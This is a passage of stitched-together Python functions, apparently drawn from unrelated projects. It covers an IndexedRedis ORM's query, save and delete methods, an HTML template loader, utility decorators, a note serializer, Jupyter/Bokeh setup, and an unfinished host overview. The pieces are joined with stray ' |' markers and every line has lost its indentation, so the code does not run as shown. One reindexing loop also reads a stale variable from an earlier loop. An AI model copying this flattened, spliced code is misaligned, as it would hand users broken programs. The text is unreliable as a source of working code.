filterObj.filters.append( (key, value) )
else:
filterObj.notFilters.append( (key, value) )
return filterObj |
def count(self):
'''
count - gets the number of records matching the filter criteria
Example:
theCount = Model.objects.filter(field1='value').count()
'''
conn = self._get_connection()
numFilters = len(self.filters)
numNotFilters = len(self.notFilters)
if numFilters + numNotFilters == 0:
return conn.scard(self._get_ids_key())
if numNotFilters == 0:
if numFilters == 1:
(filterFieldName, filterValue) = self.filters[0]
return conn.scard(self._get_key_for_index(filterFieldName, filterValue))
indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]
return len(conn.sinter(indexKeys))
notIndexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.notFilters]
if numFilters == 0:
return len(conn.sdiff(self._get_ids_key(), *notIndexKeys))
indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]
tempKey = self._getTempKey()
pipeline = conn.pipeline()
pipeline.sinterstore(tempKey, *indexKeys)
pipeline.sdiff(tempKey, *notIndexKeys)
pipeline.delete(tempKey)
pks = pipeline.execute()[1] # sdiff
return len(pks) |
def exists(self, pk):
'''
exists - Tests whether a record holding the given primary key exists.
@param pk - Primary key (see getPk method)
Example usage: Waiting for an object to be deleted without fetching the object or running a filter.
This is a very cheap operation.
@return <bool> - True if object with given pk exists, otherwise False
'''
conn = self._get_connection()
key = self._get_key_for_id(pk)
return conn.exists(key) |
def getPrimaryKeys(self, sortByAge=False):
'''
getPrimaryKeys - Returns all primary keys matching current filterset.
@param sortByAge <bool> - If False, return will be a set and may not be ordered.
If True, return will be a list and is guarenteed to represent objects oldest->newest
@return <set> - A set of all primary keys associated with current filters.
'''
conn = self._get_connection()
# Apply filters, and return object
numFilters = len(self.filters)
numNotFilters = len(self.notFilters)
if numFilters + numNotFilters == 0:
# No filters, get all.
conn = self._get_connection()
matchedKeys = conn.smembers(self._get_ids_key())
elif numNotFilters == 0:
# Only Inclusive
if numFilters == 1:
# Only one filter, get members of that index key
(filterFieldName, filterValue) = self.filters[0]
matchedKeys = conn.smembers(self._get_key_for_index(filterFieldName, filterValue))
else:
# Several filters, intersect the index keys
indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]
matchedKeys = conn.sinter(indexKeys)
else:
# Some negative filters present
notIndexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.notFilters]
if numFilters == 0:
# Only negative, diff against all keys
matchedKeys = conn.sdiff(self._get_ids_key(), *notIndexKeys)
else:
# Negative and positive. Use pipeline, find all positive intersections, and remove negative matches
indexKeys = [self._get_key_for_index(filterFieldName, filterValue) for filterFieldName, filterValue in self.filters]
tempKey = self._getTempKey()
pipeline = conn.pipeline()
pipeline.sinterstore(tempKey, *indexKeys)
pipeline.sdiff(tempKey, *notIndexKeys)
pipeline.delete(tempKey)
matchedKeys = pipeline.execute()[1] # sdiff
matchedKeys = [ int(_key) for _key in matchedKeys ]
if sortByAge is False:
return list(matchedKeys)
else:
matchedKeys = list(matchedKeys)
matchedKeys.sort()
return matchedKeys |
def all(self, cascadeFetch=False):
'''
all - Get the underlying objects which match the filter criteria.
Example: objs = Model.objects.filter(field1='value', field2='value2').all()
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@return - Objects of the Model instance associated with this query.
'''
matchedKeys = self.getPrimaryKeys()
if matchedKeys:
return self.getMultiple(matchedKeys, cascadeFetch=cascadeFetch)
return IRQueryableList([], mdl=self.mdl) |
def allByAge(self, cascadeFetch=False):
'''
allByAge - Get the underlying objects which match the filter criteria, ordered oldest -> newest
If you are doing a queue or just need the head/tail, consider .first() and .last() instead.
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@return - Objects of the Model instance associated with this query, sorted oldest->newest
'''
matchedKeys = self.getPrimaryKeys(sortByAge=True)
if matchedKeys:
return self.getMultiple(matchedKeys, cascadeFetch=cascadeFetch)
return IRQueryableList([], mdl=self.mdl) |
def allOnlyFields(self, fields, cascadeFetch=False):
'''
allOnlyFields - Get the objects which match the filter criteria, only fetching given fields.
@param fields - List of fields to fetch
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@return - Partial objects with only the given fields fetched
'''
matchedKeys = self.getPrimaryKeys()
if matchedKeys:
return self.getMultipleOnlyFields(matchedKeys, fields, cascadeFetch=cascadeFetch)
return IRQueryableList([], mdl=self.mdl) |
def allOnlyIndexedFields(self):
'''
allOnlyIndexedFields - Get the objects which match the filter criteria, only fetching indexed fields.
@return - Partial objects with only the indexed fields fetched
'''
matchedKeys = self.getPrimaryKeys()
if matchedKeys:
return self.getMultipleOnlyIndexedFields(matchedKeys)
return IRQueryableList([], mdl=self.mdl) |
def first(self, cascadeFetch=False):
'''
First - Returns the oldest record (lowerst primary key) with current filters.
This makes an efficient queue, as it only fetches a single object.
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@return - Instance of Model object, or None if no items match current filters
'''
obj = None
matchedKeys = self.getPrimaryKeys(sortByAge=True)
if matchedKeys:
# Loop so we don't return None when there are items, if item is deleted between getting key and getting obj
while matchedKeys and obj is None:
obj = self.get(matchedKeys.pop(0), cascadeFetch=cascadeFetch)
return obj |
def random(self, cascadeFetch=False):
'''
Random - Returns a random record in current filterset.
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@return - Instance of Model object, or None if no items math current filters
'''
matchedKeys = list(self.getPrimaryKeys())
obj = None
# Loop so we don't return None when there are items, if item is deleted between getting key and getting obj
while matchedKeys and not obj:
key = matchedKeys.pop(random.randint(0, len(matchedKeys)-1))
obj = self.get(key, cascadeFetch=cascadeFetch)
return obj |
def delete(self):
'''
delete - Deletes all entries matching the filter criteria
'''
if self.filters or self.notFilters:
return self.mdl.deleter.deleteMultiple(self.allOnlyIndexedFields())
return self.mdl.deleter.destroyModel() |
def get(self, pk, cascadeFetch=False):
'''
get - Get a single value with the internal primary key.
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@param pk - internal primary key (can be found via .getPk() on an item)
'''
conn = self._get_connection()
key = self._get_key_for_id(pk)
res = conn.hgetall(key)
if type(res) != dict or not len(res.keys()):
return None
res['_id'] = pk
ret = self._redisResultToObj(res)
if cascadeFetch is True:
self._doCascadeFetch(ret)
return ret |
def _doCascadeFetch(obj):
'''
_doCascadeFetch - Takes an object and performs a cascading fetch on all foreign links, and all theirs, and so on.
@param obj <IndexedRedisModel> - A fetched model
'''
obj.validateModel()
if not obj.foreignFields:
return
# NOTE: Currently this fetches using one transaction per object. Implementation for actual resolution is in
# IndexedRedisModel.__getattribute__
for foreignField in obj.foreignFields:
subObjsData = object.__getattribute__(obj, foreignField)
if not subObjsData:
setattr(obj, str(foreignField), irNull)
continue
subObjs = subObjsData.getObjs()
for subObj in subObjs:
if isIndexedRedisModel(subObj):
IndexedRedisQuery._doCascadeFetch(subObj) |
def getMultiple(self, pks, cascadeFetch=False):
'''
getMultiple - Gets multiple objects with a single atomic operation
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
@param pks - list of internal keys
'''
if type(pks) == set:
pks = list(pks)
if len(pks) == 1:
# Optimization to not pipeline on 1 id
return IRQueryableList([self.get(pks[0], cascadeFetch=cascadeFetch)], mdl=self.mdl)
conn = self._get_connection()
pipeline = conn.pipeline()
for pk in pks:
key = self._get_key_for_id(pk)
pipeline.hgetall(key)
res = pipeline.execute()
ret = IRQueryableList(mdl=self.mdl)
i = 0
pksLen = len(pks)
while i < pksLen:
if res[i] is None:
ret.append(None)
i += 1
continue
res[i]['_id'] = pks[i]
obj = self._redisResultToObj(res[i])
ret.append(obj)
i += 1
if cascadeFetch is True:
for obj in ret:
if not obj:
continue
self._doCascadeFetch(obj)
return ret |
def getOnlyFields(self, pk, fields, cascadeFetch=False):
'''
getOnlyFields - Gets only certain fields from a paticular primary key. For working on entire filter set, see allOnlyFields
@param pk <int> - Primary Key
@param fields list<str> - List of fields
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
return - Partial objects with only fields applied
'''
conn = self._get_connection()
key = self._get_key_for_id(pk)
res = conn.hmget(key, fields)
if type(res) != list or not len(res):
return None
objDict = {}
numFields = len(fields)
i = 0
anyNotNone = False
while i < numFields:
objDict[fields[i]] = res[i]
if res[i] != None:
anyNotNone = True
i += 1
if anyNotNone is False:
return None
objDict['_id'] = pk
ret = self._redisResultToObj(objDict)
if cascadeFetch is True:
self._doCascadeFetch(ret)
return ret |
def getMultipleOnlyFields(self, pks, fields, cascadeFetch=False):
'''
getMultipleOnlyFields - Gets only certain fields from a list of primary keys. For working on entire filter set, see allOnlyFields
@param pks list<str> - Primary Keys
@param fields list<str> - List of fields
@param cascadeFetch <bool> Default False, If True, all Foreign objects associated with this model
will be fetched immediately. If False, foreign objects will be fetched on-access.
return - List of partial objects with only fields applied
'''
if type(pks) == set:
pks = list(pks)
if len(pks) == 1:
return IRQueryableList([self.getOnlyFields(pks[0], fields, cascadeFetch=cascadeFetch)], mdl=self.mdl)
conn = self._get_connection()
pipeline = conn.pipeline()
for pk in pks:
key = self._get_key_for_id(pk)
pipeline.hmget(key, fields)
res = pipeline.execute()
ret = IRQueryableList(mdl=self.mdl)
pksLen = len(pks)
i = 0
numFields = len(fields)
while i < pksLen:
objDict = {}
anyNotNone = False
thisRes = res[i]
if thisRes is None or type(thisRes) != list:
ret.append(None)
i += 1
continue
j = 0
while j < numFields:
objDict[fields[j]] = thisRes[j]
if thisRes[j] != None:
anyNotNone = True
j += 1
if anyNotNone is False:
ret.append(None)
i += 1
continue
objDict['_id'] = pks[i]
obj = self._redisResultToObj(objDict)
ret.append(obj)
i += 1
if cascadeFetch is True:
for obj in ret:
self._doCascadeFetch(obj)
return ret |
def reindex(self):
'''
reindex - Reindexes the objects matching current filterset. Use this if you add/remove a field to INDEXED_FIELDS.
NOTE - This will NOT remove entries from the old index if you change index type, or change decimalPlaces on a
IRFixedPointField. To correct these indexes, you'll need to run:
Model.reset(Model.objects.all())
If you change the value of "hashIndex" on a field, you need to call #compat_convertHashedIndexes instead.
'''
objs = self.all()
saver = IndexedRedisSave(self.mdl)
saver.reindex(objs) |
def compat_convertHashedIndexes(self, fetchAll=True):
'''
compat_convertHashedIndexes - Reindex fields, used for when you change the propery "hashIndex" on one or more fields.
For each field, this will delete both the hash and unhashed keys to an object,
and then save a hashed or unhashed value, depending on that field's value for "hashIndex".
For an IndexedRedisModel class named "MyModel", call as "MyModel.objects.compat_convertHashedIndexes()"
NOTE: This works one object at a time (regardless of #fetchAll), so that an unhashable object does not trash all data.
This method is intended to be used while your application is offline,
as it doesn't make sense to be changing your model while applications are actively using it.
@param fetchAll <bool>, Default True - If True, all objects will be fetched first, then converted.
This is generally what you want to do, as it is more efficient. If you are memory contrainted,
you can set this to "False", and it will fetch one object at a time, convert it, and save it back.
'''
saver = IndexedRedisSave(self.mdl)
if fetchAll is True:
objs = self.all()
saver.compat_convertHashedIndexes(objs)
else:
didWarnOnce = False
pks = self.getPrimaryKeys()
for pk in pks:
obj = self.get(pk)
if not obj:
if didWarnOnce is False:
sys.stderr.write('WARNING(once)! An object (type=%s , pk=%d) disappered while ' \
'running compat_convertHashedIndexes! This probably means an application ' \
'is using the model while converting indexes. This is a very BAD IDEA (tm).')
didWarnOnce = True
continue
saver.compat_convertHashedIndexes([obj]) |
def save(self, obj, usePipeline=True, forceID=False, cascadeSave=True, conn=None):
'''
save - Save an object / objects associated with this model.
You probably want to just do object.save() instead of this, but to save multiple objects at once in a single transaction,
you can use:
MyModel.saver.save(myObjs)
@param obj <IndexedRedisModel or list<IndexedRedisModel> - The object to save, or a list of objects to save
@param usePipeline - Use a pipeline for saving. You should always want this, unless you are calling this function from within an existing pipeline.
@param forceID - if not False, force ID to this. If obj is list, this is also list. Forcing IDs also forces insert. Up to you to ensure ID will not clash.
@param cascadeSave <bool> Default True - If True, any Foreign models linked as attributes that have been altered
or created will be saved with this object. If False, only this object (and the reference to an already-saved foreign model) will be saved.
@param conn - A connection or None
@note - if no ID is specified
@return - List of pks
'''
if conn is None:
conn = self._get_connection()
# If we are in a pipeline, we need an external connection to fetch any potential IDs for inserts.
if usePipeline is True:
idConn = conn
else:
idConn = self._get_new_connection()
if issubclass(obj.__class__, (list, tuple)):
objs = obj
else:
objs = [obj]
if usePipeline is True:
pipeline = conn.pipeline()
else:
pipeline = conn
oga = object.__getattribute__
if cascadeSave is True:
# TODO: Confirm that this pipeline logic works even when doPipeline is False
# (i.e. that cascading works through calls to reset)
# foreignPipelines = OrderedDict()
foreignSavers = {}
for thisObj in objs:
if not thisObj.foreignFields:
continue
foreignFields = thisObj.foreignFields
for foreignField in foreignFields:
rawObj = oga(thisObj, str(foreignField))
if rawObj in (None, irNull) or not rawObj.isFetched():
continue
foreignObjects = oga(thisObj, str(foreignField)).getObjs()
for foreignObject in foreignObjects:
doSaveForeign = False
if getattr(foreignObject, '_id', None):
if foreignObject.hasUnsavedChanges(cascadeObjects=True):
doSaveForeign = True
else:
doSaveForeign = True
# OLD:
# Assemble each level of Foreign fields into an ordered pipeline. Based on semi-recursion,
# we will save the deepest level first in a pipeline, then the next up, on until we complete any subs
# NEW:
# Assemble all foreign fields into current pipeline and execute all in one block
if doSaveForeign is True:
if foreignField not in foreignSavers:
# foreignPipelines[foreignField] = self._get_new_connection().pipeline()
foreignSavers[foreignField] = IndexedRedisSave(foreignObject.__class__)
#foreignSavers[foreignField].save(foreignObject, usePipeline=False, cascadeSave=True, conn=foreignPipelines[foreignField])
foreignSavers[foreignField].save(foreignObject, usePipeline=False, cascadeSave=True, conn=pipeline)
# if foreignPipelines:
# for foreignPipeline in foreignPipelines.values():
# foreignPipeline.execute()
objsLen = len(objs)
if forceID is not False:
# Compat with old poor design.. :(
if isinstance(forceID, (list, tuple)):
forceIDs = forceID
else:
forceIDs = [forceID]
isInserts = []
i = 0
while i < objsLen:
if forceIDs[i] is not False:
objs[i]._id = forceIDs[i]
isInserts.append(True)
else:
isInsert = not bool(getattr(obj, '_id', None))
if isInsert is True:
objs[i]._id = self._getNextID(idConn)
isInserts.append(isInsert)
i += 1
else:
isInserts = []
for obj in objs:
isInsert = not bool(getattr(obj, '_id', None))
if isInsert is True:
obj._id = self._getNextID(idConn)
isInserts.append(isInsert)
ids = [] # Note ids can be derived with all information above..
i = 0
while i < objsLen:
self._doSave(objs[i], isInserts[i], conn, pipeline)
ids.append(objs[i]._id)
i += 1
if usePipeline is True:
pipeline.execute()
return ids |
def _doSave(self, obj, isInsert, conn, pipeline=None):
'''
_doSave - Internal function to save a single object. Don't call this directly.
Use "save" instead.
If a pipeline is provided, the operations (setting values, updating indexes, etc)
will be queued into that pipeline.
Otherwise, everything will be executed right away.
@param obj - Object to save
@param isInsert - Bool, if insert or update. Either way, obj._id is expected to be set.
@param conn - Redis connection
@param pipeline - Optional pipeline, if present the items will be queued onto it. Otherwise, go directly to conn.
'''
if pipeline is None:
pipeline = conn
newDict = obj.asDict(forStorage=True)
key = self._get_key_for_id(obj._id)
if isInsert is True:
for thisField in self.fields:
fieldValue = newDict.get(thisField, thisField.getDefaultValue())
pipeline.hset(key, thisField, fieldValue)
# Update origData with the new data
if fieldValue == IR_NULL_STR:
obj._origData[thisField] = irNull
else:
obj._origData[thisField] = object.__getattribute__(obj, str(thisField))
self._add_id_to_keys(obj._id, pipeline)
for indexedField in self.indexedFields:
self._add_id_to_index(indexedField, obj._id, obj._origData[indexedField], pipeline)
else:
updatedFields = obj.getUpdatedFields()
for thisField, fieldValue in updatedFields.items():
(oldValue, newValue) = fieldValue
oldValueForStorage = thisField.toStorage(oldValue)
newValueForStorage = thisField.toStorage(newValue)
pipeline.hset(key, thisField, newValueForStorage)
if thisField in self.indexedFields:
self._rem_id_from_index(thisField, obj._id, oldValueForStorage, pipeline)
self._add_id_to_index(thisField, obj._id, newValueForStorage, pipeline)
# Update origData with the new data
obj._origData[thisField] = newValue |
def reindex(self, objs, conn=None):
'''
reindex - Reindexes a given list of objects. Probably you want to do Model.objects.reindex() instead of this directly.
@param objs list<IndexedRedisModel> - List of objects to reindex
@param conn <redis.Redis or None> - Specific Redis connection or None to reuse
'''
if conn is None:
conn = self._get_connection()
pipeline = conn.pipeline()
objDicts = [obj.asDict(True, forStorage=True) for obj in objs]
for indexedFieldName in self.indexedFields:
for objDict in objDicts:
self._rem_id_from_index(indexedFieldName, objDict['_id'], objDict[indexedFieldName], pipeline)
self._add_id_to_index(indexedFieldName, objDict['_id'], objDict[indexedFieldName], pipeline)
pipeline.execute() |
def compat_convertHashedIndexes(self, objs, conn=None):
'''
compat_convertHashedIndexes - Reindex all fields for the provided objects, where the field value is hashed or not.
If the field is unhashable, do not allow.
NOTE: This works one object at a time. It is intended to be used while your application is offline,
as it doesn't make sense to be changing your model while applications are actively using it.
@param objs <IndexedRedisModel objects to convert>
@param conn <redis.Redis or None> - Specific Redis connection or None to reuse.
'''
if conn is None:
conn = self._get_connection()
# Do one pipeline per object.
# XXX: Maybe we should do the whole thing in one pipeline?
fields = [] # A list of the indexed fields
# Iterate now so we do this once instead of per-object.
for indexedField in self.indexedFields:
origField = self.fields[indexedField]
# Check if type supports configurable hashIndex, and if not skip it.
if 'hashIndex' not in origField.__class__.__new__.__code__.co_varnames:
continue
if indexedField.hashIndex is True:
hashingField = origField
regField = origField.copy()
regField.hashIndex = False
else:
regField = origField
# Maybe copy should allow a dict of override params?
hashingField = origField.copy()
hashingField.hashIndex = True
fields.append ( (origField, regField, hashingField) )
objDicts = [obj.asDict(True, forStorage=True) for obj in objs]
# Iterate over all values. Remove the possibly stringed index, the possibly hashed index, and then put forth the hashed index.
for objDict in objDicts:
pipeline = conn.pipeline()
pk = objDict['_id']
for origField, regField, hashingField in fields:
val = objDict[indexedField]
# Remove the possibly stringed index
self._rem_id_from_index(regField, pk, val, pipeline)
# Remove the possibly hashed index
self._rem_id_from_index(hashingField, pk, val, pipeline)
# Add the new (hashed or unhashed) form.
self._add_id_to_index(origField, pk, val, pipeline)
# Launch all at once
pipeline.execute() |
def deleteOne(self, obj, conn=None):
'''
deleteOne - Delete one object
@param obj - object to delete
@param conn - Connection to reuse, or None
@return - number of items deleted (0 or 1)
'''
if not getattr(obj, '_id', None):
return 0
if conn is None:
conn = self._get_connection()
pipeline = conn.pipeline()
executeAfter = True
else:
pipeline = conn # In this case, we are inheriting a pipeline
executeAfter = False
pipeline.delete(self._get_key_for_id(obj._id))
self._rem_id_from_keys(obj._id, pipeline)
for indexedFieldName in self.indexedFields:
self._rem_id_from_index(indexedFieldName, obj._id, obj._origData[indexedFieldName], pipeline)
obj._id = None
if executeAfter is True:
pipeline.execute()
return 1 |
def deleteByPk(self, pk):
'''
deleteByPk - Delete object associated with given primary key
'''
obj = self.mdl.objects.getOnlyIndexedFields(pk)
if not obj:
return 0
return self.deleteOne(obj) |
def deleteMultiple(self, objs):
'''
deleteMultiple - Delete multiple objects
@param objs - List of objects
@return - Number of objects deleted
'''
conn = self._get_connection()
pipeline = conn.pipeline()
numDeleted = 0
for obj in objs:
numDeleted += self.deleteOne(obj, pipeline)
pipeline.execute()
return numDeleted |
def deleteMultipleByPks(self, pks):
'''
deleteMultipleByPks - Delete multiple objects given their primary keys
@param pks - List of primary keys
@return - Number of objects deleted
'''
if type(pks) == set:
pks = list(pks)
if len(pks) == 1:
return self.deleteByPk(pks[0])
objs = self.mdl.objects.getMultipleOnlyIndexedFields(pks)
return self.deleteMultiple(objs) |
def destroyModel(self):
'''
destroyModel - Destroy everything related to this model in one swoop.
Same effect as Model.reset([]) - Except slightly more efficient.
This function is called if you do Model.objects.delete() with no filters set.
@return - Number of keys deleted. Note, this is NOT number of models deleted, but total keys.
'''
conn = self._get_connection()
pipeline = conn.pipeline()
pipeline.eval("""
local matchingKeys = redis.call('KEYS', '%s*')
for _,key in ipairs(matchingKeys) do
redis.call('DEL', key)
end
return #matchingKeys
""" %( ''.join([INDEXED_REDIS_PREFIX, self.mdl.KEY_NAME, ':']), ), 0)
return pipeline.execute()[0] |
def string(html, start_on=None, ignore=(), use_short=True, **queries):
'''Returns a blox template from an html string'''
if use_short:
html = grow_short(html)
return _to_template(fromstring(html), start_on=start_on,
ignore=ignore, **queries) |
def file(file_object, start_on=None, ignore=(), use_short=True, **queries):
'''Returns a blox template from a file stream object'''
return string(file_object.read(), start_on=start_on, ignore=ignore, use_short=use_short, **queries) |
def filename(file_name, start_on=None, ignore=(), use_short=True, **queries):
'''Returns a blox template from a valid file path'''
with open(file_name) as template_file:
return file(template_file, start_on=start_on, ignore=ignore, use_short=use_short, **queries) |
def create_from_string(self, string, context=EMPTY_CONTEXT, *args, **kwargs):
"""
Deserializes a new instance from a string.
This is a convenience method that creates a StringIO object and calls create_instance_from_stream().
"""
if not PY2 and not isinstance(string, bytes):
raise TypeError("string should be an instance of bytes in Python 3")
io = StringIO(string)
instance = self.create_from_stream(io, context, *args, **kwargs)
io.close()
return instance |
def require(method):
"""
Decorator for managing chained dependencies of different class
properties. The @require decorator allows developers to specify
that a function call must be operated on before another property
or function call is accessed, so that data and processing for an
entire class can be evaluated in a lazy way (i.e. not all upon
instantiation).
Examples:
>>> class Foo(Bar):
>>>
>>> def a(self):
>>> print 'a!'
>>> return 1
>>>
>>> @require('a')
>>> @property
>>> def b(self):
>>> print 'b!'
>>> return self.a + 1
>>>
>>> foo = Foo()
>>> print foo.b
>>>
'a!'
'b!'
2
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
# throw exception if input class doesn't have requirement
if not hasattr(args[0], method):
raise AssertionError('{} class has no method {}()'.format(args[0].__class__.__name__, method))
# create property to record that method has been called
callmethod = method + '_called'
if not hasattr(args[0], callmethod):
setattr(args[0], callmethod, False)
# call the method if it hasn't yet been called
if not getattr(args[0], callmethod):
getattr(args[0], method)()
setattr(args[0], callmethod, True)
return func(*args, **kwargs)
return wrapper
return decorator |
def exception(exception):
"""
Wrap function/method with specific exception if any
exception occurs during function execution.
Args:
exception (Exception): Exception to re-cast error as.
Examples:
>>> from gems import exception
>>>
>>> class MyCustomException(Exception):
>>> pass
>>>
>>> @exception(MyCustomException)
>>> def func():
>>> return 1 / 0
>>>
>>> func()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "gems/decorators.py", line 96, in wrapper
return func(*args, **kwargs)
File "<stdin>", line 3, in func
__main__.MyCustomException: integer division or modulo by zero
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
try:
return func(*args, **kwargs)
except Exception as exe:
raise raise_with_traceback(exception(exe))
return wrapper
return decorator |
def keywords(func):
"""
Accumulate all dictionary and named arguments as
keyword argument dictionary. This is generally useful for
functions that try to automatically resolve inputs.
Examples:
>>> @keywords
>>> def test(*args, **kwargs):
>>> return kwargs
>>>
>>> print test({'one': 1}, two=2)
{'one': 1, 'two': 2}
"""
@wraps(func)
def decorator(*args, **kwargs):
idx = 0 if inspect.ismethod(func) else 1
if len(args) > idx:
if isinstance(args[idx], (dict, composite)):
for key in args[idx]:
kwargs[key] = args[idx][key]
args = args[:idx]
return func(*args, **kwargs)
return decorator |
def getCompressMod(self):
'''
getCompressMod - Return the module used for compression on this field
@return <module> - The module for compression
'''
if self.compressMode == COMPRESS_MODE_ZLIB:
return zlib
if self.compressMode == COMPRESS_MODE_BZ2:
return bz2
if self.compressMode == COMPRESS_MODE_LZMA:
# Since lzma is not provided by python core in python2, search out some common alternatives.
# Throw exception if we can find no lzma implementation.
global _lzmaMod
if _lzmaMod is not None:
return _lzmaMod
try:
import lzma
_lzmaMod = lzma
return _lzmaMod
except:
# Python2 does not provide "lzma" module, search for common alternatives
try:
from backports import lzma
_lzmaMod = lzma
return _lzmaMod
except:
pass
try:
import lzmaffi as lzma
_lzmaMod = lzma
return _lzmaMod
except:
pass
raise ImportError("Requested compress mode is lzma and could not find a module providing lzma support. Tried: 'lzma', 'backports.lzma', 'lzmaffi' and none of these were available. Please install one of these, or to use an unlisted implementation, set IndexedRedis.fields.compressed._lzmaMod to the module (must implement standard python compression interface)") |
def output(self, to=None, *args, **kwargs):
'''Outputs the set text'''
to.write(str(self._value)) |
def toBytes(self, value):
'''
toBytes - Convert a value to bytes using the encoding specified on this field
@param value <str> - The field to convert to bytes
@return <bytes> - The object encoded using the codec specified on this field.
NOTE: This method may go away.
'''
if type(value) == bytes:
return value
return value.encode(self.getEncoding()) |
def deprecatedMessage(msg, key=None, printStack=False):
'''
deprecatedMessage - Print a deprecated messsage (unless they are toggled off). Will print a message only once (based on "key")
@param msg <str> - Deprecated message to possibly print
@param key <anything> - A key that is specific to this message.
If None is provided (default), one will be generated from the md5 of the message.
However, better to save cycles and provide a unique key if at all possible.
The decorator uses the function itself as the key.
@param printStack <bool> Default False, if True print a stack trace
'''
if __deprecatedMessagesEnabled is False:
return
if not _alreadyWarned:
# First warning, let them know how to disable.
sys.stderr.write('== DeprecatedWarning: warnings can be disabled by calling IndexedRedis.toggleDeprecatedMessages(False)\n')
if key is None:
from .compat_str import tobytes
key = md5(tobytes(msg)).hexdigest()
if key not in _alreadyWarned:
_alreadyWarned[key] = True
sys.stderr.write('== DeprecatedWarning: %s\n' %(msg, ))
if printStack:
sys.stderr.write(' at:\n')
curStack = traceback.extract_stack()
sys.stderr.write(' ' + '\n '.join(traceback.format_list(curStack[:-2])).replace('\t', ' ') + '\n') |
def ConstField(name, value, marshal=None):
"""
This macro can be used in several methods:
>>> ConstField("foo", 5, UBInt8)
This created a constant field called ``foo`` with a value of 5 and is serialized/deserialized using UBInt8.
>>> ConstField("foo", MyStruct(my_field=1, my_other_field=2))
This time ``foo`` is set with the ``MyStruct`` instance passed here. Notice that we don't need to pass an I/O
argument because the value is an I/O instance by itself.
:param name: name of the field
:param value: the value to use as a constant
:param marshal: a marshal instance to serialize/deserialize this field (optional if ``value`` is a marshal)
:rtype: Field
"""
if marshal is None:
marshal = value
if isinstance(marshal, Struct):
marshal = type(marshal)
elif not isinstance(marshal, Marshal):
raise InstructError("don't know how to serialize const field %s value %s (consider adding a marshal argument)" %
(name, value))
return OrigConstField(name, marshal, value) |
def keep_kwargs_partial(func, *args, **keywords):
"""Like functools.partial but instead of using the new kwargs, keeps the old ones."""
def newfunc(*fargs, **fkeywords):
newkeywords = fkeywords.copy()
newkeywords.update(keywords)
return func(*(args + fargs), **newkeywords)
newfunc.func = func
newfunc.args = args
newfunc.keywords = keywords
return newfunc |
def dump(self, stream, contentType=None, version=None):
'''
Serializes this NoteItem to a byte-stream and writes it to the
file-like object `stream`. `contentType` and `version` must be one
of the supported content-types, and if not specified, will default
to ``text/plain``.
'''
if contentType is None or contentType == constants.TYPE_TEXT_PLAIN:
stream.write(self.body)
return
if contentType == constants.TYPE_SIF_NOTE:
root = ET.Element('note')
# TODO: check `version`...
ET.SubElement(root, 'SIFVersion').text = '1.1'
if self.name is not None:
ET.SubElement(root, 'Subject').text = self.name
if self.body is not None:
ET.SubElement(root, 'Body').text = self.body
for name, values in self.extensions.items():
for value in values:
ET.SubElement(root, name).text = value
ET.ElementTree(root).write(stream)
return
raise common.InvalidContentType('cannot serialize NoteItem to "%s"' % (contentType,)) |
def load(cls, stream, contentType=None, version=None):
'''
Reverses the effects of the :meth:`dump` method, creating a NoteItem
from the specified file-like `stream` object.
'''
if contentType is None or contentType == constants.TYPE_TEXT_PLAIN:
data = stream.read()
name = data.split('\n')[0]
# todo: localize?!...
name = re.compile(r'^(title|name):\s*', re.IGNORECASE).sub('', name).strip()
return NoteItem(name=name, body=data)
if contentType == constants.TYPE_SIF_NOTE:
data = ET.parse(stream).getroot()
ret = NoteItem(name=data.findtext('Subject'), body=data.findtext('Body'))
for child in data:
if child.tag in ('SIFVersion', 'Subject', 'Body'):
continue
ret.addExtension(child.tag, child.text)
return ret
raise common.InvalidContentType('cannot de-serialize NoteItem from "%s"' % (contentType,)) |
def remote_jupyter_proxy_url(port):
"""
Callable to configure Bokeh's show method when a proxy must be
configured.
If port is None we're asking about the URL
for the origin header.
"""
base_url = os.environ['EXTERNAL_URL']
host = urllib.parse.urlparse(base_url).netloc
# If port is None we're asking for the URL origin
# so return the public hostname.
if port is None:
return host
service_url_path = os.environ['JUPYTERHUB_SERVICE_PREFIX']
proxy_url_path = 'proxy/%d' % port
user_url = urllib.parse.urljoin(base_url, service_url_path)
full_url = urllib.parse.urljoin(user_url, proxy_url_path)
return full_url |
def setup_notebook(debug=False):
"""Called at the start of notebook execution to setup the environment.
This will configure bokeh, and setup the logging library to be
reasonable."""
output_notebook(INLINE, hide_banner=True)
if debug:
_setup_logging(logging.DEBUG)
logging.debug('Running notebook in debug mode.')
else:
_setup_logging(logging.WARNING)
# If JUPYTERHUB_SERVICE_PREFIX environment variable isn't set,
# this means that you're running JupyterHub not with Hub in k8s,
# and not using run_local.sh (which sets it to empty).
if 'JUPYTERHUB_SERVICE_PREFIX' not in os.environ:
global jupyter_proxy_url
jupyter_proxy_url = 'localhost:8888'
logging.info('Setting jupyter proxy to local mode.') |
def overview():
"""
Creates a overview of the hosts per range.
"""
range_search = RangeSearch()
ranges = range_search.get_ranges()
if ranges:
formatted_ranges = []
tags_lookup = {}
for r in ranges:
formatted_ranges.append({'mask': r.range})
tags_lookup[r.range] = r.tags
search = Host.search()
search = search.filter('term', status='up')
